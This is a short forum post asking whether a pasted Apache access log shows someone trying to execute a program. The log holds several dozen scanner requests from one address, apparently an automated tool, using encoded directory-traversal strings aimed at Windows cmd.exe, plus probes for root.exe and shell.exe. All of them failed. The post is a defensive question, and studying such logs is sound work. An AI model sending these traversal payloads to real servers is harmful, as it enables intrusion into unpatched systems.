Alexander: Here is my access_log. Does it look like somebody is trying to execute a program? Thanks, knute... [root@ljr-2 httpd]# cat access_log 66.157.28.95 - - [08/May/2005:14:05:06 -0700] "GET /..%255c..% 255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 362 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:11 - 0700] "GET /..%c0% af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 359 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:15 -0700] "GET /_vti_bin/.%252e/.% 252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 381 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:21 -0700] "GET /_vti_bin/..%%35% 63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir +c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:24 -0700] "GET /_vti_bin/..%%35c..%% 35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:28 -0700] "GET /_vti_bin/..%25%35% 63..%25%35%63..%25%35%63..%25%35%63..%25%35% 63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 389 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:56 - 0700] "GET /_vti_bin/..%255c..% 255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 389 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:29 -0700] "GET /_vti_bin/..%c0% af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 382 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:31 -0700] "GET /_vti_cnf/..%255c..% 255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 391 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:36 -0700] "GET /_vti_cnf/..%c0%af..% c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 384 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:39 -0700] "GET /adsamples/..%255c..% 255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 392 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:45 -0700] "GET /adsamples/..%c0% af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 385 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:48 -0700] "GET /cgi- bin/..%255c..% 255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 390 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:53 -0700] "GET /cgi-bin/..%c0%af..% c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 383 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:06:59 -0700] "GET /iisadmpwd/..%252f..% 252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 392 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:12 -0700] "GET /iisadmpwd/..%255c..% 255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 392 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:16 -0700] "GET /iisadmpwd/..%c0% af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 385 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:20 -0700] "GET /iisadmpwd/..%c0% af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 383 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:29 -0700] "GET /msadc/.%252e/.% 252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 378 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:34 -0700] "GET /MSADC/..%%35%63..%% 35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:40 -0700] "GET /msadc/..%%35% 63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:44 -0700] "GET /MSADC/..%%35c..%% 35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "- " "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:50 -0700] "GET /msadc/..%%35c../..%% 35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "- " "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:53 -0700] "GET /msadc/..%25%35%63..% 25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 378 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:07:57 -0700] "GET /msadc/..%25%35% 63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 382 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:08:01 -0700] "GET /msadc/..%255c..% 255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 378 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:08:05 -0700] "GET /msadc/..%255c../..% 255c../..%255c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 382 "- " "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:08:11 -0700] "GET /msadc/..%c0%af../..% c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 379 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:08:23 -0700] "GET /msadc/..%c0%af../..% c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 372 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:08:33 -0700] "GET /msadc/../%e0/%80/% af../../%e0/%80/%af../../%e0/%80/%af../winnt/system32/cmd.exe/?/c/+dir +c: HTTP/1.1" 404 369 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:08:45 -0700] "GET /msdac/root.exe?/c +dir+c: HTTP/1.1" 404 344 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:09:39 -0700] "GET /PBServer/..%%35c..%% 35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:10:07 -0700] "GET /PBServer/..%255c..% 255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 376 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:10:10 -0700] "GET /Rpc/..%%35%63..%%35% 63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:10:18 -0700] "GET /Rpc/..%%35c..%% 35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:10:22 -0700] "GET /Rpc/..%25%35%63..% 25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 371 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:10:27 -0700] "GET /Rpc/..%255c..% 255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 371 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:10:30 -0700] "GET /samples/..%255c..% 255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 390 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:11:24 -0700] "GET /scripts/.%252e/.% 252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 370 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:17:47 - 0700] "GET /scripts/shell.exe?/c +dir+c: HTTP/1.1" 404 347 "-" "Mozilla/3.0 (compatible; Indy Library)" [root@ljr-2 httpd]# -- Knute Johnson Molon Labe...
